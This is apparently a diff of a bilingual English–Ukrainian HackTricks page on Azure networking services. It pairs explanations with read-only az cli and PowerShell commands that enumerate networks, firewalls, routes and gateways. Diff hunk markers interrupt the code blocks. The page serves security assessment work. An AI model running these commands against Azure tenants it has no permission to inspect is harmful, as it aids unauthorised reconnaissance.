### Enumeration
To list all the VNets and subnets in an Azure account, you can use the Azure Command-Line Interface (CLI). Here are the steps:
Щоб перерахувати всі VNets та підмережі в обліковому записі Azure, ви можете використовувати командний рядок Azure (CLI). Ось кроки:
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List VNets
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"
@@ -34,10 +33,8 @@ az network vnet list --query "[].{name:name, location:location, addressSpace:add
# List subnets of a VNet
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
# List VNets
Get-AzVirtualNetwork | Select-Object Name, Location, @{Name="AddressSpace"; Expression={$_.AddressSpace.AddressPrefixes}}
@@ -47,26 +44,24 @@ Get-AzVirtualNetwork -ResourceGroupName <ResourceGroupName> -Name <VNetName> |
Select-Object -ExpandProperty Subnets |
Select-Object Name, AddressPrefix
```
{{#endtab }}
{{#endtabs }}
## Network Security Groups (NSG)
## Групи безпеки мережі (NSG)
A **Network Security Group (NSG)** filters network traffic both to and from Azure resources within an Azure Virtual Network (VNet). It houses a set of **security rules** that can indicate **which ports to open for inbound and outbound traffic** by source port, source IP, port destination and it's possible to assign a priority (the lower the priority number, the higher the priority).
**Група безпеки мережі (NSG)** фільтрує мережевий трафік як до, так і з ресурсів Azure в межах віртуальної мережі Azure (VNet). Вона містить набір **правил безпеки**, які можуть вказувати **які порти відкривати для вхідного та вихідного трафіку** за вихідним портом, вихідною IP-адресою, портом призначення, і можливо призначити пріоритет (чим нижче число пріоритету, тим вищий пріоритет).
NSGs can be associated to **subnets and NICs.**
NSG можуть бути асоційовані з **підмережами та NIC.**
**Rules example:**
**Приклад правил:**
- An inbound rule allowing HTTP traffic (port 80) from any source to your web servers.
- An outbound rule allowing only SQL traffic (port 1433) to a specific destination IP address range.
- Вхідне правило, що дозволяє HTTP-трафік (порт 80) з будь-якого джерела до ваших веб-серверів.
- Вихідне правило, що дозволяє лише SQL-трафік (порт 1433) до конкретного діапазону IP-адрес призначення.
### Enumeration
### Перерахування
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List NSGs
az network nsg list --query "[].{name:name, location:location}" -o table
@@ -78,10 +73,8 @@ az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupNam
# Get NICs and subnets using this NSG
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
# List NSGs
Get-AzNetworkSecurityGroup | Select-Object Name, Location
@@ -93,31 +86,29 @@ Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName
# Get NICs and subnets using this NSG
(Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName>).Subnets
```
{{#endtab }}
{{#endtabs }}
## Azure Firewall
Azure Firewall is a **managed network security service** in Azure that protects cloud resources by inspecting and controlling traffic. It is a **stateful firewall** that filters traffic based on rules for Layers 3 to 7, supporting communication both **within Azure** (east-west traffic) and **to/from external networks** (north-south traffic). Deployed at the **Virtual Network (VNet) level**, it provides centralized protection for all subnets in the VNet. Azure Firewall automatically scales to handle traffic demands and ensures high availability without requiring manual setup.
Azure Firewall — це **керована служба безпеки мережі** в Azure, яка захищає хмарні ресурси, перевіряючи та контролюючи трафік. Це **станова брандмауер**, який фільтрує трафік на основі правил для рівнів з 3 по 7, підтримуючи зв'язок як **всередині Azure** (східно-західний трафік), так і **з/до зовнішніх мереж** (північно- південний трафік). Розгорнутий на **рівні віртуальної мережі (VNet)**, він забезпечує централізований захист для всіх підмереж у VNet. Azure Firewall автоматично масштабується для обробки вимог до трафіку та забезпечує високу доступність без необхідності ручного налаштування.
It is available in three SKUs—**Basic**, **Standard**, and **Premium**, each tailored for specific customer needs:
Він доступний у трьох SKU — **Basic**, **Standard** та **Premium**, кожен з яких адаптований до специфічних потреб клієнтів:
| **Recommended Use Case** | Small/Medium Businesses (SMBs) with limited needs | General enterprise use, Layer 37 filtering | Highly sensitive environments (e.g., payment processing) |
| ------------------------------ | ------------------------------------------------- | ------------------------------------------- | --------------------------------------------------------- |
| **Performance** | Up to 250 Mbps throughput | Up to 30 Gbps throughput | Up to 100 Gbps throughput |
| **Threat Intelligence** | Alerts only | Alerts and blocking (malicious IPs/domains) | Alerts and blocking (advanced threat intelligence) |
| **L3L7 Filtering** | Basic filtering | Stateful filtering across protocols | Stateful filtering with advanced inspection |
| **Advanced Threat Protection** | Not available | Threat intelligence-based filtering | Includes Intrusion Detection and Prevention System (IDPS) |
| **TLS Inspection** | Not available | Not available | Supports inbound/outbound TLS termination |
| **Availability** | Fixed backend (2 VMs) | Autoscaling | Autoscaling |
| **Ease of Management** | Basic controls | Managed via Firewall Manager | Managed via Firewall Manager |
| **Рекомендований випадок використання** | Малі/середні підприємства (SMB) з обмеженими потребами | Загальне підприємницьке використання, фільтрація рівнів 37 | Дуже чутливі середовища (наприклад, обробка платежів) |
| ---------------------------------------- | ----------------------------------------------------- | --------------------------------------------------------- | ----------------------------------------------------- |
| **Продуктивність** | До 250 Мбіт/с пропускної здатності | До 30 Гбіт/с пропускної здатності | До 100 Гбіт/с пропускної здатності |
| **Розвідка загроз** | Лише сповіщення | Сповіщення та блокування (зловмисні IP/домени) | Сповіщення та блокування (розширена розвідка загроз) |
| **Фільтрація L3L7** | Основна фільтрація | Станова фільтрація через протоколи | Станова фільтрація з розширеною перевіркою |
| **Розширений захист від загроз** | Не доступно | Фільтрація на основі розвідки загроз | Включає систему виявлення та запобігання вторгненням (IDPS) |
| **Перевірка TLS** | Не доступно | Не доступно | Підтримує вхідну/вихідну термінацію TLS |
| **Доступність** | Фіксований бекенд (2 ВМ) | Автоматичне масштабування | Автоматичне масштабування |
| **Легкість управління** | Основні елементи управління | Керування через Firewall Manager | Керування через Firewall Manager |
### Enumeration
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List Azure Firewalls
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table
@@ -131,10 +122,8 @@ az network firewall application-rule collection list --firewall-name <FirewallNa
# Get nat rules of a firewall
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
# List Azure Firewalls
Get-AzFirewall
@@ -148,21 +137,19 @@ Get-AzFirewall
# Get nat rules of a firewall
(Get-AzFirewall -Name <FirewallName> -ResourceGroupName <ResourceGroupName>).NatRuleCollections
```
{{#endtab }}
{{#endtabs }}
## Azure Route Tables
Azure **Route Tables** are used to control the routing of network traffic within a subnet. They define rules that specify how packets should be forwarded, either to Azure resources, the internet, or a specific next hop like a Virtual Appliance or Azure Firewall. You can associate a route table with a **subnet**, and all resources within that subnet will follow the routes in the table.
Azure **Route Tables** використовуються для контролю маршрутизації мережевого трафіку в межах підмережі. Вони визначають правила, які вказують, як пакети повинні пересилатися, або до ресурсів Azure, в інтернет, або до конкретного наступного хопа, такого як Віртуальний Пристрій або Azure Firewall. Ви можете асоціювати таблицю маршрутів з **підмережею**, і всі ресурси в цій підмережі будуть слідувати маршрутам у таблиці.
**Example:** If a subnet hosts resources that need to route outbound traffic through a Network Virtual Appliance (NVA) for inspection, you can create a **route** in a route table to redirect all traffic (e.g., `0.0.0.0/0`) to the NVA's private IP address as the next hop.
**Приклад:** Якщо підмережа містить ресурси, які потребують маршрутизації вихідного трафіку через Мережевий Віртуальний Пристрій (NVA) для перевірки, ви можете створити **маршрут** у таблиці маршрутів, щоб перенаправити весь трафік (наприклад, `0.0.0.0/0`) на приватну IP-адресу NVA як наступний хоп.
### **Enumeration**
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List Route Tables
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table
@@ -170,10 +157,8 @@ az network route-table list --query "[].{name:name, resourceGroup:resourceGroup,
# List routes for a table
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
# List Route Tables
Get-AzRouteTable
@@ -181,28 +166,26 @@ Get-AzRouteTable
# List routes for a table
(Get-AzRouteTable -Name <RouteTableName> -ResourceGroupName <ResourceGroupName>).Routes
```
{{#endtab }}
{{#endtabs }}
## Azure Private Link
Azure Private Link is a service in Azure that **enables private access to Azure services** by ensuring that **traffic between your Azure virtual network (VNet) and the service travels entirely within Microsoft's Azure backbone network**. It effectively brings the service into your VNet. This setup enhances security by not exposing the data to the public internet.
Azure Private Link — це сервіс в Azure, який **дозволяє приватний доступ до сервісів Azure**, забезпечуючи, що **трафік між вашою віртуальною мережею Azure (VNet) та сервісом повністю проходить через мережу Microsoft Azure**. Це ефективно інтегрує сервіс у вашу VNet. Така конфігурація підвищує безпеку, не піддаючи дані публічному інтернету.
Private Link can be used with various Azure services, like Azure Storage, Azure SQL Database, and custom services shared via Private Link. It provides a secure way to consume services from within your own VNet or even from different Azure subscriptions.
Private Link можна використовувати з різними сервісами Azure, такими як Azure Storage, Azure SQL Database та користувацькими сервісами, які діляться через Private Link. Це забезпечує безпечний спосіб споживання сервісів з вашої власної VNet або навіть з різних підписок Azure.
> [!CAUTION]
> NSGs do not apply to private endpoints, which clearly means that associating an NSG with a subnet that contains the Private Link will have no effect.
> NSG не застосовуються до приватних кінцевих точок, що чітко означає, що асоціювання NSG з підмережею, яка містить Private Link, не матиме жодного ефекту.
**Example:**
**Приклад:**
Consider a scenario where you have an **Azure SQL Database that you want to access securely from your VNet**. Normally, this might involve traversing the public internet. With Private Link, you can create a **private endpoint in your VNet** that connects directly to the Azure SQL Database service. This endpoint makes the database appear as though it's part of your own VNet, accessible via a private IP address, thus ensuring secure and private access.
Розгляньте сценарій, коли у вас є **Azure SQL Database, до якої ви хочете отримати безпечний доступ з вашої VNet**. Зазвичай це може вимагати проходження через публічний інтернет. З Private Link ви можете створити **приватну кінцеву точку у вашій VNet**, яка безпосередньо підключається до сервісу Azure SQL Database. Ця кінцева точка робить базу даних такою, що вона виглядає як частина вашої власної VNet, доступна через приватну IP-адресу, що забезпечує безпечний і приватний доступ.
### **Enumeration**
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List Private Link Services
az network private-link-service list --query "[].{name:name, location:location, resourceGroup:resourceGroup}" -o table
@@ -210,10 +193,8 @@ az network private-link-service list --query "[].{name:name, location:location,
# List Private Endpoints
az network private-endpoint list --query "[].{name:name, location:location, resourceGroup:resourceGroup, privateLinkServiceConnections:privateLinkServiceConnections}" -o table
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
# List Private Link Services
Get-AzPrivateLinkService | Select-Object Name, Location, ResourceGroupName
@@ -221,23 +202,21 @@ Get-AzPrivateLinkService | Select-Object Name, Location, ResourceGroupName
# List Private Endpoints
Get-AzPrivateEndpoint | Select-Object Name, Location, ResourceGroupName, PrivateEndpointConnections
```
{{#endtab }}
{{#endtabs }}
## Azure Service Endpoints
Azure Service Endpoints extend your virtual network private address space and the identity of your VNet to Azure services over a direct connection. By enabling service endpoints, **resources in your VNet can securely connect to Azure services**, like Azure Storage and Azure SQL Database, using Azure's backbone network. This ensures that the **traffic from the VNet to the Azure service stays within the Azure network**, providing a more secure and reliable path.
Azure Service Endpoints розширюють приватний адресний простір вашої віртуальної мережі та ідентичність вашої VNet до сервісів Azure через пряме з'єднання. Увімкнувши кінцеві точки сервісу, **ресурси у вашій VNet можуть безпечно підключатися до сервісів Azure**, таких як Azure Storage та Azure SQL Database, використовуючи магістральну мережу Azure. Це забезпечує, що **трафік з VNet до сервісу Azure залишається в межах мережі Azure**, забезпечуючи більш безпечний і надійний шлях.
**Example:**
**Приклад:**
For instance, an **Azure Storage** account by default is accessible over the public internet. By enabling a **service endpoint for Azure Storage within your VNet**, you can ensure that only traffic from your VNet can access the storage account. The storage account firewall can then be configured to accept traffic only from your VNet.
Наприклад, обліковий запис **Azure Storage** за замовчуванням доступний через публічний інтернет. Увімкнувши **кінцеву точку сервісу для Azure Storage у вашій VNet**, ви можете забезпечити, що лише трафік з вашої VNet може отримати доступ до облікового запису зберігання. Брандмауер облікового запису зберігання може бути налаштований для прийняття трафіку лише з вашої VNet.
### **Enumeration**
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List Virtual Networks with Service Endpoints
az network vnet list --query "[].{name:name, location:location, serviceEndpoints:serviceEndpoints}" -o table
@@ -245,10 +224,8 @@ az network vnet list --query "[].{name:name, location:location, serviceEndpoints
# List Subnets with Service Endpoints
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, serviceEndpoints:serviceEndpoints}" -o table
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
# List Virtual Networks with Service Endpoints
Get-AzVirtualNetwork
@@ -256,49 +233,47 @@ Get-AzVirtualNetwork
# List Subnets with Service Endpoints
(Get-AzVirtualNetwork -ResourceGroupName <ResourceGroupName> -Name <VNetName>).Subnets
```
{{#endtab }}
{{#endtabs }}
### Differences Between Service Endpoints and Private Links
### Відмінності між Service Endpoints та Private Links
Microsoft recommends using Private Links in the [**docs**](https://learn.microsoft.com/en-us/azure/virtual-network/vnet-integration-for-azure-services#compare-private-endpoints-and-service-endpoints):
Microsoft рекомендує використовувати Private Links у [**документації**](https://learn.microsoft.com/en-us/azure/virtual-network/vnet-integration-for-azure-services#compare-private-endpoints-and-service-endpoints):
<figure><img src="../../../../images/image (25).png" alt=""><figcaption></figcaption></figure>
**Service Endpoints:**
- Traffic from your VNet to the Azure service travels over the Microsoft Azure backbone network, bypassing the public internet.
- The endpoint is a direct connection to the Azure service and does not provide a private IP for the service within the VNet.
- The service itself is still accessible via its public endpoint from outside your VNet unless you configure the service firewall to block such traffic.
- It's a one-to-one relationship between the subnet and the Azure service.
- Less expensive than Private Links.
- Трафік з вашої VNet до Azure service проходить через мережу Microsoft Azure backbone, обходячи публічний інтернет.
- Endpoint є прямим з'єднанням з Azure service і не надає приватну IP-адресу для сервісу в межах VNet.
- Сам сервіс все ще доступний через свій публічний endpoint ззовні вашої VNet, якщо ви не налаштуєте брандмауер сервісу для блокування такого трафіку.
- Це відносини один до одного між підмережею та Azure service.
- Менш витратний, ніж Private Links.
**Private Links:**
- Private Link maps Azure services into your VNet via a private endpoint, which is a network interface with a private IP address within your VNet.
- The Azure service is accessed using this private IP address, making it appear as if it's part of your network.
- Services connected via Private Link can be accessed only from your VNet or connected networks; there's no public internet access to the service.
- It enables a secure connection to Azure services or your own services hosted in Azure, as well as a connection to services shared by others.
- It provides more granular access control via a private endpoint in your VNet, as opposed to broader access control at the subnet level with service endpoints.
- Private Link відображає Azure services у вашій VNet через приватний endpoint, який є мережевим інтерфейсом з приватною IP-адресою в межах вашої VNet.
- Azure service доступний за допомогою цієї приватної IP-адреси, що робить його частиною вашої мережі.
- Сервіси, підключені через Private Link, можуть бути доступні лише з вашої VNet або підключених мереж; доступу до сервісу з публічного інтернету немає.
- Це забезпечує безпечне з'єднання з Azure services або вашими власними сервісами, розміщеними в Azure, а також з сервісами, якими діляться інші.
- Це забезпечує більш детальний контроль доступу через приватний endpoint у вашій VNet, на відміну від більш широкого контролю доступу на рівні підмережі з service endpoints.
In summary, while both Service Endpoints and Private Links provide secure connectivity to Azure services, **Private Links offer a higher level of isolation and security by ensuring that services are accessed privately without exposing them to the public internet**. Service Endpoints, on the other hand, are easier to set up for general cases where simple, secure access to Azure services is required without the need for a private IP in the VNet.
Підсумовуючи, хоча як Service Endpoints, так і Private Links забезпечують безпечне з'єднання з Azure services, **Private Links пропонують вищий рівень ізоляції та безпеки, забезпечуючи доступ до сервісів приватно без їх відкриття для публічного інтернету**. Service Endpoints, з іншого боку, легші у налаштуванні для загальних випадків, коли потрібен простий, безпечний доступ до Azure services без необхідності в приватній IP-адресі у VNet.
## Azure Front Door (AFD) & AFD WAF
**Azure Front Door** is a scalable and secure entry point for **fast delivery** of your global web applications. It **combines** various services like global **load balancing, site acceleration, SSL offloading, and Web Application Firewall (WAF)** capabilities into a single service. Azure Front Door provides intelligent routing based on the **closest edge location to the user**, ensuring optimal performance and reliability. Additionally, it offers URL-based routing, multiple-site hosting, session affinity, and application layer security.
**Azure Front Door** є масштабованою та безпечною точкою входу для **швидкої доставки** ваших глобальних веб-додатків. Він **поєднує** різні сервіси, такі як глобальне **балансування навантаження, прискорення сайтів, SSL offloading та можливості Web Application Firewall (WAF)** в один сервіс. Azure Front Door забезпечує інтелектуальну маршрутизацію на основі **найближчого краєвого місця до користувача**, забезпечуючи оптимальну продуктивність та надійність. Крім того, він пропонує маршрутизацію на основі URL, хостинг кількох сайтів, афінність сесій та безпеку на рівні додатків.
**Azure Front Door WAF** is designed to **protect web applications from web-based attacks** without modification to back-end code. It includes custom rules and managed rule sets to protect against threats such as SQL injection, cross-site scripting, and other common attacks.
**Azure Front Door WAF** призначений для **захисту веб-додатків від веб-атак** без модифікації коду на бекенді. Він включає в себе користувацькі правила та керовані набори правил для захисту від загроз, таких як SQL-ін'єкції, міжсайтове скриптування та інші поширені атаки.
**Example:**
**Приклад:**
Imagine you have a globally distributed application with users all around the world. You can use Azure Front Door to **route user requests to the nearest regional data center** hosting your application, thus reducing latency, improving user experience and **defending it from web attacks with the WAF capabilities**. If a particular region experiences downtime, Azure Front Door can automatically reroute traffic to the next best location, ensuring high availability.
Уявіть, що у вас є глобально розподілений додаток з користувачами по всьому світу. Ви можете використовувати Azure Front Door для **маршрутизації запитів користувачів до найближчого регіонального дата-центру**, що хостить ваш додаток, тим самим зменшуючи затримки, покращуючи досвід користувачів та **захищаючи його від веб-атак за допомогою можливостей WAF**. Якщо в певному регіоні виникають проблеми, Azure Front Door може автоматично перенаправити трафік до наступного найкращого місця, забезпечуючи високу доступність.
### Enumeration
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List Azure Front Door Instances
az network front-door list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table
@@ -306,10 +281,8 @@ az network front-door list --query "[].{name:name, resourceGroup:resourceGroup,
# List Front Door WAF Policies
az network front-door waf-policy list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
# List Azure Front Door Instances
Get-AzFrontDoor
@@ -317,58 +290,52 @@ Get-AzFrontDoor
# List Front Door WAF Policies
Get-AzFrontDoorWafPolicy -Name <policyName> -ResourceGroupName <resourceGroupName>
```
{{#endtab }}
{{#endtabs }}
## Azure Application Gateway and Azure Application Gateway WAF
## Azure Application Gateway та Azure Application Gateway WAF
Azure Application Gateway is a **web traffic load balancer** that enables you to manage traffic to your **web** applications. It offers **Layer 7 load balancing, SSL termination, and web application firewall (WAF) capabilities** in the Application Delivery Controller (ADC) as a service. Key features include URL-based routing, cookie-based session affinity, and secure sockets layer (SSL) offloading, which are crucial for applications that require complex load-balancing capabilities like global routing and path-based routing.
Azure Application Gateway є **балансувальником навантаження веб-трафіку**, який дозволяє вам керувати трафіком до ваших **веб** додатків. Він пропонує **балансування навантаження на рівні 7, завершення SSL та можливості веб-додатка брандмауера (WAF)** у контролері доставки додатків (ADC) як послугу. Ключові функції включають маршрутизацію на основі URL, сесійна прив'язаність на основі cookie та зняття навантаження з безпечного сокета (SSL), які є критично важливими для додатків, що вимагають складних можливостей балансування навантаження, таких як глобальна маршрутизація та маршрутизація на основі шляху.
**Example:**
**Приклад:**
Consider a scenario where you have an e-commerce website that includes multiple subdomains for different functions, such as user accounts and payment processing. Azure Application Gateway can **route traffic to the appropriate web servers based on the URL path**. For example, traffic to `example.com/accounts` could be directed to the user accounts service, and traffic to `example.com/pay` could be directed to the payment processing service.\
And **protect your website from attacks using the WAF capabilities.**
Розгляньте сценарій, коли у вас є веб-сайт електронної комерції, який включає кілька піддоменів для різних функцій, таких як облікові записи користувачів та обробка платежів. Azure Application Gateway може **маршрутизувати трафік до відповідних веб-серверів на основі URL-адреси**. Наприклад, трафік до `example.com/accounts` може бути направлений до служби облікових записів користувачів, а трафік до `example.com/pay` може бути направлений до служби обробки платежів.\
І **захистіть ваш веб-сайт від атак, використовуючи можливості WAF.**
### **Enumeration**
### **Перерахування**
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List the Web Application Firewall configurations for your Application Gateways
az network application-gateway waf-config list --gateway-name <AppGatewayName> --resource-group <ResourceGroupName> --query "[].{name:name, firewallMode:firewallMode, ruleSetType:ruleSetType, ruleSetVersion:ruleSetVersion}" -o table
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
# List the Web Application Firewall configurations for your Application Gateways
(Get-AzApplicationGateway -Name <AppGatewayName> -ResourceGroupName <ResourceGroupName>).WebApplicationFirewallConfiguration
```
{{#endtab }}
{{#endtabs }}
## Azure Hub, Spoke & VNet Peering
**VNet Peering** is a networking feature in Azure that **allows different Virtual Networks (VNets) to be connected directly and seamlessly**. Through VNet peering, resources in one VNet can communicate with resources in another VNet using private IP addresses, **as if they were in the same network**.\
**VNet Peering can also used with a on-prem networks** by setting up a site-to-site VPN or Azure ExpressRoute.
**VNet Peering** - це мережевий функціонал в Azure, який **дозволяє різним Віртуальним Мережам (VNets) підключатися безпосередньо та безперешкодно**. Через VNet peering ресурси в одній VNet можуть спілкуватися з ресурсами в іншій VNet, використовуючи приватні IP-адреси, **ніби вони були в одній мережі**.\
**VNet Peering також може використовуватися з локальними мережами**, налаштувавши VPN з сайту на сайт або Azure ExpressRoute.
**Azure Hub and Spoke** is a network topology used in Azure to manage and organize network traffic. **The "hub" is a central point that controls and routes traffic between different "spokes"**. The hub typically contains shared services such as network virtual appliances (NVAs), Azure VPN Gateway, Azure Firewall, or Azure Bastion. The **"spokes" are VNets that host workloads and connect to the hub using VNet peering**, allowing them to leverage the shared services within the hub. This model promotes clean network layout, reducing complexity by centralizing common services that multiple workloads across different VNets can use.
**Azure Hub and Spoke** - це топологія мережі, що використовується в Azure для управління та організації мережевого трафіку. **"Хаб" є центральною точкою, яка контролює та маршрутизує трафік між різними "спицями"**. Хаб зазвичай містить спільні сервіси, такі як мережеві віртуальні пристрої (NVA), Azure VPN Gateway, Azure Firewall або Azure Bastion. **"Спиці" - це VNets, які хостять навантаження та підключаються до хабу за допомогою VNet peering**, що дозволяє їм використовувати спільні сервіси в межах хабу. Ця модель сприяє чистій мережевій структурі, зменшуючи складність шляхом централізації загальних сервісів, які можуть використовувати кілька навантажень через різні VNets.
> [!CAUTION] > **VNET pairing is non-transitive in Azure**, which means that if spoke 1 is connected to spoke 2 and spoke 2 is connected to spoke 3 then spoke 1 cannot talk directly to spoke 3.
> [!CAUTION] > **VNET pairing є нетранзитивним в Azure**, що означає, що якщо спиця 1 підключена до спиці 2, а спиця 2 підключена до спиці 3, то спиця 1 не може безпосередньо спілкуватися зі спицею 3.
**Example:**
**Приклад:**
Imagine a company with separate departments like Sales, HR, and Development, **each with its own VNet (the spokes)**. These VNets **require access to shared resources** like a central database, a firewall, and an internet gateway, which are all located in **another VNet (the hub)**. By using the Hub and Spoke model, each department can **securely connect to the shared resources through the hub VNet without exposing those resources to the public internet** or creating a complex network structure with numerous connections.
Уявіть компанію з окремими відділами, такими як Продажі, HR та Розробка, **кожен з яких має свою власну VNet (спиці)**. Ці VNets **потребують доступу до спільних ресурсів**, таких як центральна база даних, брандмауер та шлюз до Інтернету, які всі розташовані в **іншій VNet (хаб)**. Використовуючи модель Hub and Spoke, кожен відділ може **надійно підключатися до спільних ресурсів через VNet хабу, не піддаючи ці ресурси публічному Інтернету** або створюючи складну мережеву структуру з численними з'єднаннями.
### Enumeration
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List all VNets in your subscription
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}" -o table
@@ -379,10 +346,8 @@ az network vnet peering list --resource-group <ResourceGroupName> --vnet-name <V
# List Shared Resources (e.g., Azure Firewall) in the Hub
az network firewall list --query "[].{name:name, location:location, resourceGroup:resourceGroup}" -o table
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
# List all VNets in your subscription
Get-AzVirtualNetwork
@@ -393,23 +358,21 @@ Get-AzVirtualNetwork
# List Shared Resources (e.g., Azure Firewall) in the Hub
Get-AzFirewall
```
{{#endtab }}
{{#endtabs }}
## Site-to-Site VPN
A Site-to-Site VPN in Azure allows you to **connect your on-premises network to your Azure Virtual Network (VNet)**, enabling resources such as VMs within Azure to appear as if they are on your local network. This connection is established through a **VPN gateway that encrypts traffic** between the two networks.
Site-to-Site VPN в Azure дозволяє вам **підключити вашу локальну мережу до вашої Azure Virtual Network (VNet)**, що дозволяє ресурсам, таким як ВМ в Azure, з'являтися так, ніби вони знаходяться у вашій локальній мережі. Це з'єднання встановлюється через **VPN-шлюз, який шифрує трафік** між двома мережами.
**Example:**
**Приклад:**
A business with its main office located in New York has an on-premises data center that needs to connect securely to its VNet in Azure, which hosts its virtualized workloads. By setting up a **Site-to-Site VPN, the company can ensure encrypted connectivity between the on-premises servers and the Azure VMs**, allowing for resources to be accessed securely across both environments as if they were in the same local network.
Компанія з головним офісом у Нью-Йорку має локальний дата-центр, який потрібно безпечно підключити до свого VNet в Azure, що хостить її віртуалізовані навантаження. Налаштувавши **Site-to-Site VPN, компанія може забезпечити зашифроване з'єднання між локальними серверами та Azure ВМ**, що дозволяє безпечно отримувати доступ до ресурсів у обох середовищах, ніби вони знаходяться в одній локальній мережі.
### **Enumeration**
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List VPN Gateways
az network vnet-gateway list --query "[].{name:name, location:location, resourceGroup:resourceGroup}" -o table
@@ -417,10 +380,8 @@ az network vnet-gateway list --query "[].{name:name, location:location, resource
# List VPN Connections
az network vpn-connection list --gateway-name <VpnGatewayName> --resource-group <ResourceGroupName> --query "[].{name:name, connectionType:connectionType, connectionStatus:connectionStatus}" -o table
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
# List VPN Gateways
Get-AzVirtualNetworkGateway -ResourceGroupName <ResourceGroupName>
@@ -428,41 +389,32 @@ Get-AzVirtualNetworkGateway -ResourceGroupName <ResourceGroupName>
# List VPN Connections
Get-AzVirtualNetworkGatewayConnection -ResourceGroupName <ResourceGroupName>
```
{{#endtab }}
{{#endtabs }}
## Azure ExpressRoute
Azure ExpressRoute is a service that provides a **private, dedicated, high-speed connection between your on-premises infrastructure and Azure data centers**. This connection is made through a connectivity provider, bypassing the public internet and offering more reliability, faster speeds, lower latencies, and higher security than typical internet connections.
Azure ExpressRoute - це сервіс, який забезпечує **приватне, виділене, високошвидкісне з'єднання між вашою локальною інфраструктурою та центрами обробки даних Azure**. Це з'єднання здійснюється через постачальника зв'язку, обходячи публічний інтернет і пропонуючи більшу надійність, швидші швидкості, нижчі затримки та вищу безпеку, ніж звичайні інтернет-з'єднання.
**Example:**
**Приклад:**
A multinational corporation requires a **consistent and reliable connection to its Azure services due to the high volume of data** and the need for high throughput. The company opts for Azure ExpressRoute to directly connect its on-premises data center to Azure, facilitating large-scale data transfers, such as daily backups and real-time data analytics, with enhanced privacy and speed.
Багатонаціональна корпорація потребує **послідовного та надійного з'єднання з її сервісами Azure через великий обсяг даних** та необхідність високої пропускної здатності. Компанія обирає Azure ExpressRoute для прямого з'єднання свого локального центру обробки даних з Azure, що полегшує великомасштабні передачі даних, такі як щоденні резервні копії та аналітика даних в реальному часі, з підвищеною конфіденційністю та швидкістю.
### **Enumeration**
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List ExpressRoute Circuits
az network express-route list --query "[].{name:name, location:location, resourceGroup:resourceGroup, serviceProviderName:serviceProviderName, peeringLocation:peeringLocation}" -o table
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
# List ExpressRoute Circuits
Get-AzExpressRouteCircuit
```
{{#endtab }}
{{#endtabs }}
{{#include ../../../../banners/hacktricks-training.md}}